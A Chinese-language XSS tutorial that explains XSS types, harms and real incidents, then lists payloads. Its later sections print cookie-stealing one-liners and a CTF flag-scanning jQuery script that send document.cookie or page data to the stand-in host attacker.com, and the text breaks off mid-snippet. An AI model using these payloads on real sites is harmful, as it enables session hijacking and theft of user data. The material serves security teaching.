XSS(跨站脚本攻击)完全指南

基础概念

1.1 XSS的定义与命名由来

跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种代码注入攻击安全漏洞,攻击者通过在目标网站中注入恶意脚本代码,当其他用户访问该页面时,这些恶意代码会在用户的浏览器上下文中执行。由于恶意脚本可以访问目标站点的所有资源(Cookie、本地存储、DOM树等),攻击者可以窃取用户的敏感信息、劫持用户会话、执行未经授权的操作,甚至进一步对访问该页面的其他用户发起攻击。

值得注意的是,XSS的缩写并非使用”CSS”而是”XSS”,这是因为CSS(Cascading Style Sheets,层叠样式表)在Web开发领域已经是广为人知的术语缩写。为了避免与层叠样式表产生混淆,安全社区决定使用”XSS”作为跨站脚本攻击的标准缩写。这种命名约定在2000年代初期的安全邮件列表和会议上逐渐确立,并最终成为行业标准。此外,”X”也暗示了这种攻击的跨域特性——恶意脚本虽然托管在攻击者控制的域上,但却能在受害者的浏览器中执行,仿佛是目标站点的合法脚本。

1.2 XSS漏洞产生的根本原因

XSS漏洞产生的根本原因在于Web应用程序对用户输入的信任和对输出内容的处理不当。当应用程序接受用户提交的数据(通过URL参数、表单输入、HTTP头部、Cookie等途径),并在未进行充分验证和适当编码的情况下将这些数据包含在向用户浏览器返回的HTML页面中时,恶意构造的脚本代码就可能被浏览器解析执行。

从技术层面分析,HTML文档具有复杂的上下文结构,同一个输入值在不同位置可能需要不同的编码处理。例如,字符串<script>在HTML标签内容中需要被转义为&lt;script&gt;,但在HTML标签的属性值中则需要额外的引号包裹和属性值特定的转义。这种上下文敏感的特性使得XSS防护变得极为复杂,稍有疏忽就会引入漏洞。

1.3 XSS在OWASP Top 10中的地位与演变

XSS漏洞长期以来一直是Web应用安全领域最常见和最危险的风险之一。在OWASP(开放Web应用安全项目)发布的历年Top 10列表中,XSS漏洞始终占据重要位置。OWASP 2013版将XSS列为第三位严重风险;到了2017版,XSS仍然位列第七;最新的OWASP 2021版虽然调整了分类方式,但注入类漏洞(包括XSS)仍然是首要关注的安全风险。

XSS在OWASP Top 10中的演变反映了整个Web安全领域的变化趋势。一方面,随着现代Web开发框架内置安全机制越来越完善,传统的反射型和存储型XSS漏洞数量有所减少;另一方面,随着单页应用(SPA)和客户端渲染模式的普及,DOM型XSS的威胁反而更加突出。此外,复杂JavaScript应用中的业务逻辑XSS、框架特定XSS等问题也逐渐受到关注。

1.4 XSS的完整危害分析

1.4.1 会话劫持与会话冒充

会话劫持是XSS攻击最常见也是最具破坏力的危害之一。当用户登录某个网站时,服务器通常会为该用户创建一个会话(Session),并通过Set-Cookie响应头将会话标识符(Session ID)发送到客户端浏览器。浏览器会将这个Cookie与相应的域关联,并在后续对该域的所有请求中自动发送。

攻击者通过XSS漏洞在受害者浏览器中执行恶意JavaScript代码,可以直接读取document.cookie获取当前用户的会话Cookie。由于现代Web应用普遍使用HttpOnly标志保护敏感Cookie以防止JavaScript直接访问,这一攻击方式的可行性已有所降低。然而,即使无法直接获取Cookie内容,攻击者仍然可以通过JavaScript执行任意操作——发送Ajax请求、填写表单、点击按钮等——所有这些操作都会自动携带用户的有效Cookie,从而实现对用户会话的完全控制。

会话劫持的成功实施通常需要攻击者完成以下步骤:首先,构造包含恶意脚本的XSS Payload;然后,通过某种方式让受害者访问包含恶意代码的页面(如发送钓鱼邮件、在社交媒体发布恶意链接);最后,当受害者访问该页面时,恶意脚本自动执行,将受害者的Cookie或会话信息发送到攻击者控制的服务器。攻击者收到这些信息后,就可以在自己的浏览器中使用这些Cookie来冒充受害者登录目标网站。

1.4.2 敏感数据窃取

除了Cookie之外,XSS攻击还可以用于窃取页面上显示的各类敏感数据。这些数据可能包括个人身份信息(姓名、身份证号、电话号码、地址)、财务信息(银行账号、信用卡号)、医疗记录、聊天记录、搜索历史等。攻击者可以使用JavaScript遍历DOM树、读取表单值、捕获键盘输入,甚至通过截图API捕获页面快照。

在企业环境中,XSS漏洞可能导致商业机密泄露。攻击者可以针对企业内部的Web应用(如ERP系统、CRM系统、邮件客户端)发起XSS攻击,获取财务报表、客户名单、合同内容、员工信息等敏感业务数据。这类攻击往往具有高度针对性,攻击者会花费大量时间研究目标系统的功能和界面,以便构造最有效的Payload。

1.4.3 键盘记录与输入捕获

键盘记录是一种特别阴险的XSS攻击技术,它可以在用户不知情的情况下捕获用户的所有键盘输入。这类攻击对于窃取密码、信用卡信息、个人消息等内容特别有效,因为用户在输入这些敏感信息时往往不会意识到有人在监视。

实现键盘记录功能的JavaScript代码相对简单:监听所有键盘相关的事件(keydown、keypress、keyup),将按键信息收集起来,定期发送到攻击者的服务器。更高级的实现可能会智能识别特定场景——例如,当检测到用户正在填写密码字段时(通过检查焦点所在的元素类型),加强记录频率;当检测到输入的是信用卡号格式(每4位一组)时,自动识别并标记。

除了键盘记录,攻击者还可以使用表单提交事件监听器来捕获用户填写的所有表单数据。当用户提交任何表单时,恶意脚本可以在表单数据发送到服务器之前拦截一份副本。这种方法特别有效,因为用户通常会主动点击“提交”按钮来发送数据,而这一行为本身并不会引起怀疑。

1.4.4 网页内容篡改与钓鱼攻击

XSS攻击允许攻击者在受害者浏览器中动态修改网页内容。这种篡改可以是临时的(仅对当前用户会话可见)或持久的(如果存在存储型XSS,则对所有访问该页面的用户都可见)。

一种常见的攻击场景是创建钓鱼陷阱。攻击者可以在合法网站的登录页面注入恶意代码,显示一个看似真实的额外登录表单,诱导用户输入用户名和密码。由于这个伪造的表单位于合法网站的域名下,用户往往会放松警惕。由于钓鱼页面与真实登录页面的URL相同,用户很难通过检查地址栏来区分真伪。攻击者可以将收集到的凭证立即重定向到真实登录流程,使受害者完全不知道自己已经上当受骗。

更高级的内容篡改技术包括:替换合法的银行账号或比特币钱包地址,使受害者将资金转入攻击者账户;修改商品价格使受害者以为自己在享受优惠;注入虚假的客服聊天窗口来套取更多敏感信息等。

1.4.5 恶意软件传播与挖矿脚本注入

XSS漏洞也可以被用于在受害者的计算机上传播恶意软件。攻击者可以在页面中注入JavaScript代码,该代码可以检测浏览器的插件和漏洞(特别是已知的Java、Flash、Adobe Reader等插件漏洞),然后利用这些漏洞下载并执行任意恶意程序。

近年来,随着加密货币的兴起,使用JavaScript在受害者浏览器中挖掘加密货币(俗称“挖矿”)成为一种新兴的恶意利用方式。CoinHive等挖矿脚本库的出现使得这种攻击变得异常简单。攻击者只需要将几行JavaScript代码注入到有XSS漏洞的页面中,每当有用户访问该页面时,其CPU就会被用于挖掘门罗币(Monero)等加密货币。据估计,一个日访问量10000次的页面,如果每个访客被占用30%的CPU资源进行挖矿,每天可以为攻击者带来约0.3个门罗币的收益(按当前汇率约价值数百美元)。

1.4.6 XSS蠕虫与自动化传播

XSS蠕虫是一种能够自我复制并在用户之间自动传播的恶意代码。2005年发生的Samy蠕虫是世界上第一个大规模传播的XSS蠕虫,它在24小时内感染了超过100万个MySpace用户。蠕虫的作者Samy Kamkar利用了MySpace的个人主页功能,在受害者的个人资料页面中注入了恶意JavaScript代码。当其他用户访问被感染的主页时,蠕虫会自动执行,将自己的副本添加到访问者的个人主页中,同时向攻击者Samy Kamkar发送好友请求。

XSS蠕虫的可怕之处在于其指数级传播速度。由于每个受害者都成为新的感染源,蠕虫可以在极短时间内覆盖整个网站的所有用户。即使网站管理员发现并删除了恶意代码,被感染用户重新访问他人主页又会引发新一轮的感染,形成难以根除的循环。

1.4.7 内网渗透与内部攻击

许多人错误地认为Web应用只面向公网用户,因此即使存在XSS漏洞也不会造成严重后果。然而,XSS攻击实际上是突破内网防线的重要手段之一。

现代企业网络中,许多内部应用(如内部Wiki、知识库、监控系统、工控系统)都基于Web技术构建,并且与公网应用使用相同的浏览器访问。当员工通过公司网络访问这些内部应用时,其浏览器处于企业网络环境中。如果这些内部应用存在XSS漏洞,攻击者(无论是内网还是通过社会工程学手段获得初始访问权限的外网攻击者)可以利用XSS作为跳板,向员工的企业内网发起进一步的攻击。

更危险的是,基于浏览器指纹和内部网络地址的特定攻击。攻击者可以构造专门针对目标企业的恶意代码,根据收集到的网络信息判断受害者是否处于内网环境,然后尝试访问内部IP地址段,探测内网服务的存活状态,甚至利用已知漏洞获取内网主机的控制权限。

1.5 XSS与其他漏洞的关联

XSS从不像一个孤立的漏洞存在,它往往与其他Web安全漏洞形成致命的攻击链。理解这些关联对于全面评估XSS漏洞的风险至关重要。

1.5.1 XSS与CSRF的协同攻击

跨站请求伪造(Cross-Site Request Forgery,CSRF)与XSS是一对经常被同时讨论的漏洞类型,它们之间存在天然的互补关系。CSRF攻击利用用户已登录的身份,在用户不知情的情况下发送恶意请求到目标站点;而XSS则允许攻击者在用户浏览器中执行任意JavaScript代码。

当XSS漏洞存在时,攻击者可以利用JavaScript轻松绕过CSRF令牌验证。传统的CSRF防护依赖于在表单中添加随机生成的令牌,并在服务器端验证请求中携带的令牌是否与用户会话中的令牌匹配。然而,如果攻击者能够通过XSS在目标页面中注入JavaScript代码,他可以直接读取页面中的CSRF令牌,然后使用这个令牌构造一个合法的CSRF攻击。换句话说,XSS的存在使得所有基于令牌的CSRF防护措施变得形同虚设。

反过来,CSRF漏洞也可以放大XSS的影响。在某些场景下,直接通过URL传播XSS Payload可能过于显眼,容易被用户发现。但如果配合CSRF漏洞,攻击者可以在用户不知情的情况下,偷偷修改用户的个人资料、邮箱地址或其他账户信息,在其中嵌入恶意代码。这样,当受害者下次登录账户或查看自己修改后的资料时,XSS Payload就会自动执行。

1.5.2 XSS与URL跳转漏洞的组合

URL跳转漏洞(也称为开放重定向)允许攻击者将用户从合法网站引导到任意外部站点。攻击者经常将XSS与URL跳转漏洞结合使用,以提高攻击的成功率和隐蔽性。

一种常见的组合方式是:构造一个看似合法的URL,该URL包含一个存在反射型XSS的参数,同时也包含一个指向攻击者控制站点的跳转目标。当用户点击这个链接时,首先会触发XSS Payload的执行,然后页面执行JavaScript跳转到钓鱼网站。由于用户在地址栏中看到的是合法可信的域名,并且页面确实加载自该域名,这种组合攻击的欺骗性大大提高。

另一种利用方式是在钓鱼页面中嵌入从合法网站反射过来的XSS Payload,使钓鱼页面看起来更加真实可信。例如,攻击者可以创建一个钓鱼登录页面,该页面的内容从目标网站的搜索结果页面反射回来,包含真实的导航菜单、版权信息和信任标志,从而让受害者完全放下戒心。

1.5.3 XSS与HTML注入的关联

HTML注入与XSS在本质上是同一类问题的不同表现形式。当用户输入被直接写入HTML页面而未经过适当过滤和编码时,攻击者可以注入任意HTML标签。虽然纯HTML注入不会直接执行JavaScript代码,但它可以用于修改页面布局、插入虚假内容,甚至通过HTML结构来欺骗用户或绕过某些安全检查。

在某些情况下,HTML注入可以升级为XSS攻击。例如,如果页面使用了客户端模板引擎(如Handlebars、Mustache等),攻击者可以通过HTML注入插入模板语法,然后利用模板引擎的模板执行功能来执行JavaScript代码。又如,如果页面使用了可以执行内联脚本的框架或库,HTML注入可能绕过安全过滤器,最终导致脚本执行。

1.5.4 XSS与JSONP端点的利用

JSONP(JSON with Padding)是一种历史悠久的跨域数据交换技术,它通过在script标签中加载远程JavaScript文件来实现跨域请求。由于script标签的src属性不受同源策略限制,网站可以使用JSONP来获取来自第三方服务的数据。

然而,许多JSONP端点存在严重的安全问题。首先,许多JSONP端点没有对调用来源进行严格的验证,允许任意网站调用这些接口。其次,JSONP的响应本质上是一段JavaScript代码,当被加载时会立即执行。如果攻击者能够控制JSONP端点的参数(如回调函数名),就可以注入任意JavaScript代码。

XSS与JSONP的结合产生了一种特殊的攻击场景:攻击者寻找目标网站上存在XSS漏洞的页面,利用该漏洞加载一个恶意的JSONP端点。由于浏览器的安全机制,被加载的脚本会在加载它的页面的上下文中执行,这意味着恶意脚本可以访问目标页面的所有资源。结合持久化的JSONP端点,这种攻击甚至可以实现存储型XSS的效果。

1.6 XSS漏洞的统计与真实事件

根据全球多个安全组织和漏洞赏金平台发布的数据,XSS漏洞始终是Web应用中最常见的漏洞类型之一。在HackerOne和Bugcrowd两大漏洞赏金平台上,XSS相关漏洞(包括反射型、存储型和DOM型XSS)占所有报告漏洞的相当比例。

回顾历史,XSS漏洞曾经造成过多起严重的安全事件:2005年的Samy蠕虫事件感染了超过100万MySpace用户,成为史上传播最快的病毒之一;2011年,Twitter遭受了多种XSS蠕虫攻击,其中一次攻击在数小时内影响了数万个账户;同年,著名社交游戏开发者Zynga也遭受了XSS攻击,导致超过70万个玩家账户信息泄露。

在企业级层面,2013年发现的”Steam漏洞“允许攻击者通过反射型XSS获取Steam用户的会话令牌,进而劫持任意用户账户;2019年,研究人员在Facebook的多个子系统中共发现了数十个XSS漏洞,其中一些可能导致大规模账户接管。这些案例表明,即使是拥有专业安全团队的大型科技公司,也难以完全避免XSS漏洞的出现。


XSS 类型

2.1 三种主要XSS类型的详细原理

2.1.1 反射型XSS(Non-Persistent XSS)

反射型XSS是最常见也是最基础的XSS类型。其名称来源于恶意脚本的传递方式:攻击者构造一个包含恶意代码的URL,诱使受害者点击该链接;当受害者的浏览器发送请求时,服务器将URL中的恶意参数“反射”回响应页面中;浏览器在解析响应时,执行了这段恶意脚本。

反射型XSS的完整攻击链条可以描述为以下几个阶段:

第一步:构造恶意URL。攻击者首先识别目标网站中存在反射型XSS漏洞的参数(通常是搜索框、错误消息显示区域、URL路径参数等),然后在该参数位置注入精心构造的恶意JavaScript代码。攻击者会将这个恶意的URL进行URL编码或使用其他混淆技术,使其看起来不那么可疑。

第二步:诱骗用户点击。这是反射型XSS攻击中最具挑战性的环节。由于恶意URL通常看起来不自然(包含<script>等明显可疑字符),攻击者需要使用各种社会工程学技巧来提高点击率。常见的方法包括:使用短链接服务隐藏恶意URL的完整内容;将链接嵌入到钓鱼邮件或社交媒体帖子中;在论坛或评论区发布带有诱人描述的链接;利用浏览器漏洞或插件来执行自动点击等。

第三步:服务器反射恶意内容。当用户点击恶意链接后,浏览器向服务器发送HTTP请求。服务器接收到请求后,解析URL参数,发现该参数对应于某个需要回显到响应中的位置(如搜索关键词、错误消息等),于是将参数值(包含恶意代码)原封不动地嵌入到HTML响应中。

第四步:浏览器解析并执行脚本。浏览器接收到服务器返回的HTML文档后,开始解析HTML结构。当浏览器遇到<script>标签或其他可以执行脚本的元素时,会立即执行其中的JavaScript代码。由于这段代码的来源被标记为当前页面(而不是攻击者的服务器),脚本在浏览器的安全上下文中拥有完整的权限,可以访问页面的DOM、Cookie、本地存储等资源。

反射型XSS的关键特征是恶意代码不存储在服务器端。每次攻击都需要构造新的恶意URL,并且依赖于用户点击该URL才能触发。这种特性使得反射型XSS的检测和利用难度相对较高——它不会自动传播,攻击者必须主动将链接分发给每个目标用户。

典型的反射型XSS场景包括:

  • 搜索功能:当用户在网站的搜索框中输入关键词并提交后,搜索结果页面通常会显示“您搜索的关键词是:XXX”。如果服务器直接将XXX插入到HTML中而不进行编码,就会产生反射型XSS。

  • 错误消息页面:当用户访问不存在的页面或执行非法操作时,网站通常会显示错误消息。如果错误消息中包含了原始请求的某些信息(如URL路径、参数名等),并且未经适当转义,就可能存在反射型XSS。

  • 重定向功能:某些网站根据URL参数动态决定重定向目标。如果重定向目标未经验证就显示在页面上或用于构造跳转链接,可能被利用进行反射型XSS。

  • 多步骤表单的确认页面:在多步骤注册或订单流程中,确认页面通常会回显用户之前输入的信息。如果这些信息未经过滤就直接显示,就可能成为反射型XSS的入口。

2.1.2 存储型XSS(Persistent XSS)

存储型XSS是三种XSS类型中危害最大的一种。与反射型XSS不同,存储型XSS的恶意代码被永久保存在目标服务器上(通常是数据库中),所有访问包含恶意内容的页面用户都会受到攻击。这种特性使得存储型XSS不需要依赖社会工程学手段来诱骗用户点击特定链接——恶意代码会自动对所有访问者生效。

存储型XSS的完整攻击流程可以分解为以下几个阶段:

第一步:寻找数据持久化点。攻击者首先需要找到网站中能够永久存储用户输入的功能模块。常见的持久化点包括:用户评论区、留言板、个人资料编辑区、帖子/文章发布功能、文件上传(如果服务器会解析文件名)、站内私信(如果内容会被保存)、用户昵称/签名、个人简介等。任何将用户输入保存到数据库并在后续页面中显示的功能,都可能成为存储型XSS的入口。

第二步:注入恶意代码。一旦找到持久化点,攻击者就会提交包含恶意JavaScript代码的内容。这段代码可以采用多种形式:直接使用<script>标签、HTML事件处理器(如<img onerror="...">)、SVG/Math/Body等可包含脚本的标签,或其他变体。关键是要确保代码在被保存后再次读取时能够正常执行。

第三步:服务器存储恶意代码。当服务器接收到攻击者的提交后,如果后端代码没有进行充分的输入验证和过滤,就会将包含恶意代码的内容原封不动地保存到数据库中。这个过程是“透明”的——服务器并没有意识到这段内容是恶意的,它只是按照正常流程将用户提交的数据存储起来。

第四步:其他用户访问触发攻击。当其他用户访问包含恶意内容的页面时,服务器从数据库中读取之前存储的恶意内容,将其嵌入到响应HTML中返回给用户。用户的浏览器解析响应时,会执行这段恶意代码,从而完成攻击。整个过程对受害者来说是完全被动的——他们不需要点击任何特殊链接,只需要正常浏览网站就会中招。

存储型XSS的危害之所以如此严重,原因在于其被动性广泛性

  • 被动触发:受害者不需要任何特殊操作,访问页面就会中招。这使得攻击的成功率接近100%,远高于需要用户主动点击的反射型XSS。

  • 大规模影响:存储型XSS一旦成功注入,所有访问该页面的用户都会受到攻击。如果恶意代码被注入到热门页面的持久化区域(如网站首页、商品详情页、热门帖子的评论区),受影响的人数可能达到数万甚至数百万。

  • 难以发现和清除:由于恶意代码存储在数据库中,即使站点管理员手动删除了恶意内容,如果后端输入过滤机制没有改进,攻击者可以轻易重新注入。而且,在被发现之前,恶意代码可能已经执行了成千上万次,窃取了大量用户数据。

  • 持久化存在:只要服务器上保留有恶意内容,即使网站管理员不在线、没有任何用户操作,攻击也处于“待机”状态,随时准备对下一个访问者发起攻击。

存储型XSS的真实案例数不胜数。2011年,著名的社交新闻网站Reddit被发现存在存储型XSS漏洞,攻击者可以在评论中注入恶意代码;2012年,WordPress的评论系统被发现存在存储型XSS,可能影响数百万使用WordPress搭建的博客网站;2018年,Airbnb的一个功能模块被发现存在存储型XSS漏洞,用户资料中的恶意代码可能在其他用户查看时被执行。

2.1.3 DOM型XSS(Client-Side XSS)

DOM型XSS是近年来随着Web应用架构演变而日益突出的一种XSS类型。与传统XSS不同,DOM型XSS的漏洞完全存在于客户端JavaScript代码中,服务器端的输入验证和输出编码对这种漏洞几乎没有影响。

DOM型XSS的核心原理可以这样理解:当用户请求一个包含JavaScript的页面时,服务器返回HTML文档。这个HTML文档本身可能是完全安全的,没有任何恶意内容。然而,页面中的JavaScript代码会从各种来源(URL参数、Cookie、本地存储、页面DOM元素等)获取数据,并将这些数据用于动态更新页面内容。如果JavaScript代码直接使用这些数据来修改DOM,而没有进行适当的安全处理,就可能产生DOM型XSS漏洞。

DOM型XSS的典型攻击流程如下:

第一步:识别DOM操作漏洞点。攻击者分析页面中的JavaScript代码,寻找可能的不安全DOM操作。常见的危险函数包括:document.write()document.writeln()innerHTMLouterHTMLinsertAdjacentHTML等。任何将字符串作为HTML解析并写入文档的DOM操作都可能存在风险。同样,直接执行字符串代码的函数如eval()setTimeout/setInterval的第一个参数、Function构造函数等也是潜在的漏洞点。

第二步:构造恶意数据。攻击者根据发现的漏洞点,构造特殊的URL参数或其他输入,使得JavaScript代码将这些输入以不安全的方式写入DOM。例如,如果页面使用document.location.href的查询参数来动态设置元素内容,攻击者可以在URL中添加形如?param=<img src=x onerror=alert(1)>的参数。

第三步:受害者访问触发。当受害者访问包含恶意参数的URL时,服务器正常返回HTML文档。浏览器解析HTML并执行JavaScript代码。当JavaScript执行到存在漏洞的部分时,它从URL参数中读取恶意内容,并尝试将其写入DOM。由于innerHTML等函数会将字符串解析为HTML,<img>标签会被创建并触发onerror事件,从而执行其中的JavaScript代码。

DOM型XSS与传统XSS的关键区别在于:

特性传统XSS(反射型/存储型)DOM型XSS
漏洞位置服务器端代码客户端JavaScript
数据来源HTTP请求参数URL片段、DOM状态、客户端存储
防护责任服务器端客户端JavaScript
服务器日志可能记录恶意参数可能完全不可见
检测难度相对容易(可扫描)较难(需代码审计)

DOM型XSS的一个独特优势是隐蔽性。由于服务器端的WAF、防火墙、日志系统可能完全看不到恶意参数的存在,传统的安全监控手段可能无法检测到这类攻击。例如,如果页面使用URL锚点(#之后的字符)传递参数,这些数据根本不会发送到服务器,服务器也就无法对其进行任何过滤或记录。

DOM型XSS的常见入口点包括:

  • URL片段解析:JavaScript使用window.location.hashlocation.hash读取URL中#之后的部分,如果直接用于DOM操作。
  • document.referrer:如果页面根据Referer头的内容动态生成页面。
  • localStorage/sessionStorage:如果从本地存储读取的数据被直接写入DOM。
  • postMessage数据:如果通过window.addEventListener('message', ...)接收的消息被直接用于DOM操作。
  • 各种DOM属性:如document.URLdocument.URLUnencodeddocument.location等。

2.2 三种XSS类型深度对比

为了更清晰地理解三种XSS类型的异同,我们从多个维度进行详细对比:

从攻击触发方式来看

  • 反射型XSS要求用户主动点击攻击者构造的链接,攻击的成功率取决于社会工程学手段的有效性。
  • 存储型XSS对用户完全透明,任何访问包含恶意内容页面的用户都会受到攻击。
  • DOM型XSS虽然也可能需要用户点击链接,但如果页面从URL片段或其他隐蔽渠道获取输入,用户可能完全不知情。

从危害影响范围来看

  • 反射型XSS通常只影响点击了恶意链接的个体用户,除非攻击者能够大规模分发链接。
  • 存储型XSS的影响范围取决于恶意内容被存储的位置——如果是首页横幅,可能影响所有访客;如果是个人资料页,可能只影响查看该用户资料的人。
  • DOM型XSS的影响范围与反射型类似,取决于恶意URL的分发范围,但由于其隐蔽性,可能更难以及时发现。

从防护难度来看

  • 反射型XSS主要需要服务器端对所有输出到HTML的内容进行适当编码,现代Web框架通常提供了自动化的输出编码机制。
  • 存储型XSS需要同时做好输入验证和输出编码,因为数据会从数据库再次输出到页面。
  • DOM型XSS需要开发者在客户端代码中严格控制DOM操作,任何使用innerHTML或类似方法的地方都需要格外小心。

从检测难度来看

  • 反射型XSS可以通过自动化扫描器检测,扫描器可以构造包含特殊字符的请求,检查响应中是否回显这些字符且未经编码。
  • 存储型XSS同样可以被自动化扫描器检测,但需要扫描器能够提交数据并再次访问存储了该数据的页面。
  • DOM型XSS的自动化检测较为困难,因为漏洞存在于JavaScript代码的逻辑中,而非服务器的响应内容。现有的动态检测工具(如Burp Suite、OWASP ZAP)通常只能检测基于服务器的XSS,而对纯客户端的DOM型XSS无能为力。

2.3 进阶XSS类型

2.3.1 突变型XSS(mXSS)

突变型XSS(Mutation XSS)是一种利用不同解析器对HTML解析差异来实现攻击的高级技术。这类漏洞的核心原理是:攻击者构造的Payload在一种解析上下文中是安全的,但在另一种解析上下文中会被解释为恶意代码。

mXSS攻击利用了浏览器HTML解析器、CSS解析器和JavaScript引擎之间的解析差异。一个经典的mXSS案例涉及math标签和mtext标签:<math><mtext><table><mglyph><style><img src=x onerror=alert(1)></style></mglyph></mtext></math> 这段代码在某些浏览器的某些版本中,onerror事件处理器的内容会被误解析为<style>标签内的文本,而不是作为<img>标签的事件处理器。

mXSS攻击的可怕之处在于它可以绕过大多数现存的XSS过滤器。即使网站管理员精心设计了输入过滤规则,试图阻止常见的XSS Payload,这些规则也可能无法防御mXSS攻击,因为过滤器的HTML解析器可能与浏览器的解析器对同样的输入产生不同的理解。

2.3.2 通用型XSS(Universal XSS)

通用型XSS(Universal XSS,简称UXSS)不是针对某个特定网站的漏洞,而是利用浏览器本身或浏览器插件的安全缺陷,在任意网站上执行JavaScript代码。一旦攻击者成功实施UXSS,攻击代码可以在任何网站的上下文中执行,绕过同源策略的所有限制。

UXSS通常通过浏览器漏洞实现。历史上曾经出现过多个可以导致UXSS的浏览器漏洞:某些浏览器的JavaScript引擎缓冲区溢出漏洞可能被利用来执行任意代码;某些浏览器处理特定URI协议(如javascript:data:)时存在缺陷;某些浏览器插件(如Flash、Java插件)的沙箱逃逸漏洞等。

虽然现代浏览器通过频繁的安全更新大幅减少了UXSS漏洞的数量,但类似的技术并未消失。2019年,安全研究人员发现Chrome浏览器中的一个UXSS漏洞,允许恶意网页绕过同源策略访问其他域的内容。

2.3.3 自我XSS(Self-XSS)

自我XSS是一种社会工程学攻击,它要求受害者自己将恶意代码粘贴到浏览器开发者控制台中执行。这种攻击通常被骗子用于欺骗受害者,让他们相信某个网站存在问题或需要进行“验证”,诱导他们在控制台中粘贴攻击者提供的代码。

虽然自我XSS需要受害者主动配合(因为现代浏览器会显示警告信息阻止随意粘贴代码到控制台),但它仍然是一种有效的欺骗手段。攻击者通常会配合钓鱼邮件或虚假客服,声称这是“网站测试”或“账户验证”的必要步骤。


Payload 集合

3.1 基础Payload详解

3.1.1 脚本标签基础

<script>alert('XSS')</script> 是最基础也是最容易理解的XSS Payload。它的原理是直接在HTML文档中插入一个<script>标签,标签内容是JavaScript代码。当浏览器解析HTML时,遇到<script>标签会立即执行其中的代码。alert()函数是JavaScript的原生函数,用于显示一个带消息的警告对话框,常用于XSS漏洞的验证——如果看到弹窗,说明XSS攻击成功。

<img src=x onerror=alert('XSS')> 是一个更隐蔽的Payload。它利用了HTML的<img>标签和错误事件处理器。这里的src=x故意设置为无效的图片源,会触发onerror事件。在事件处理器中执行alert('XSS')代码。这个Payload的好处是它不需要使用<script>标签,很多基础的XSS过滤器会检查<script>标签的存在,但对<img>等普通HTML标签的事件处理器可能没有充分的过滤。

在实际的漏洞利用中,攻击者通常会使用更隐蔽的payload来窃取敏感信息,而不仅仅是弹出对话框。基础的弹窗payload主要用于漏洞验证阶段,确认漏洞存在后再构造实际的攻击脚本。

3.1.2 标签闭合技术

当用户输入被插入到HTML标签的属性值中时,攻击者需要先闭合(break out)原有的属性上下文,然后才能注入新的标签或属性。常见的闭合方式包括:

'><script>alert('XSS')</script> 使用单引号闭合属性值,然后使用>闭合标签。这会将用户输入之前的属性值闭合,并开始一个新的<script>标签。

"><script>alert('XSS')</script> 使用双引号闭合属性值,适用于双引号包围的属性上下文。

闭合技术是XSS攻击的基础。一个看似无害的输入,如果能够突破其所在上下文的限制,就可能演变成完整的XSS漏洞。

3.1.3 事件处理器详解

事件处理器是HTML元素响应用户操作或浏览器事件的机制。当指定的事件发生时,事件处理器属性的值(通常是JavaScript代码)会被执行。以下是一些常用的事件处理器及其触发条件:

onerror事件:当元素加载失败时触发。<img>标签的src属性指向不存在的资源时触发。<script>标签的src指向的外部脚本加载失败时触发。<video><audio><source>标签的媒体资源无法加载时触发。

onload事件:当元素及其所有子资源加载完成时触发。<body>标签的onload在页面完全加载后执行。<script>标签的onload在外链脚本加载完成后执行。<iframe>onload在iframe内容加载完成后执行。

onclick事件:当用户点击元素时触发。几乎所有可点击的HTML元素都支持此事件。

onmouseover事件:当鼠标指针移动到元素上时触发。常用于需要用户交互才能触发的场景。

onfocus事件:当元素获得焦点时触发。可以与autofocus属性组合实现自动触发。

onsubmit事件:当表单提交时触发。常用于劫持表单提交行为。

onkeydown/onkeypress/onkeyup事件:当键盘按键按下/持续按住/松开时触发。组合使用可以捕获用户的键盘输入。

每种事件处理器都有其独特的应用场景。攻击者会根据目标页面的结构和防护机制选择最适合的Payload。

3.2 高级攻击脚本详解

3.2.1 Cookie窃取原理

Cookie窃取是XSS攻击最经典的数据外传方式。其基本原理是:使用JavaScript读取document.cookie,然后将这个值发送到攻击者控制的服务器。由于document.cookie包含了与当前域关联的所有Cookie,攻击者可以获取用户的会话标识符,从而劫持用户会话。

基础的数据外传方式包括三种:

第一种是利用window.location.hrefdocument.location.href进行页面跳转。在跳转URL中附加Cookie值:window.location.href="http://attacker.com/collect?cookie="+document.cookie 当JavaScript执行这行代码时,浏览器会立即跳转到攻击者指定的URL,并在URL参数中携带Cookie值。攻击者只需在服务器端记录所有访问日志,就能收集到受害者的Cookie。

第二种是利用window.open打开新窗口。虽然window.open主要用于打开新页面或新标签,但也可以用于数据外传:window.open="http://attacker.com/collect?cookie="+document.cookie 不过这种方式可能会被浏览器的弹出窗口拦截器阻止。

第三种是利用Image对象发起请求:var img = new Image(); img.src = "http://attacker.com/"+document.cookie; 这种方式利用了浏览器对图片加载的自动发起请求机制。由于<img>标签常用于页面中,浏览器的安全策略不会阻止这种跨域图片加载请求。相比于跳转方式,这种方法不会中断用户的当前浏览体验,更加隐蔽。

在实际攻击中,攻击者通常会使用URL编码来确保Cookie值中的特殊字符不会破坏URL结构:window.location.href="http://attacker.com/collect?cookie="+encodeURIComponent(document.cookie)

3.2.2 复杂数据窃取脚本

当页面包含更复杂的数据结构时(如CTF比赛的flag),攻击者需要使用更精确的选择器来定位目标数据。以下是针对特定场景的数据窃取脚本分析:

使用getElementsByClassName选择特定类的元素:window.location.href="http://attacker.com/collect?data="+document.getElementsByClassName('target-class')[0].innerHTML 这行代码获取页面上第一个具有target-class类的元素的HTML内容。innerHTML属性返回元素的完整HTML表示,包括标签本身。

使用jQuery选择器进行批量扫描和条件匹配:

1
2
3
4
5
$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctfshow{')>-1){
window.location.href='http://attacker.com/'+value.innerHTML;
}
});

这段代码遍历所有符合条件的单元格(可能是数据表格中的单元格),检查每个单元格是否包含ctfshow{字符串(CTF比赛的flag通常以这种格式开头)。一旦找到匹配项,立即跳转到攻击者服务器,将flag内容作为URL的一部分发送出去。

带过滤的版本可以避免发送明显可疑的内容,减少被发现的风险:

1
2
3
if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {
window.location.href = 'http://attacker.com/' +value.innerHTML;
}

这个版本增加了对script字符串的检查,如果内容中已经包含script标签(可能是其他攻击者植入的),就跳过该元素,避免重复发送同一flag。

3.2.3 使用querySelector精确定位

querySelector是现代浏览器提供的强大DOM查询API,支持CSS选择器语法,可以实现比getElementsByClassName更精确的元素定位:

1
2
3
var img = new Image();
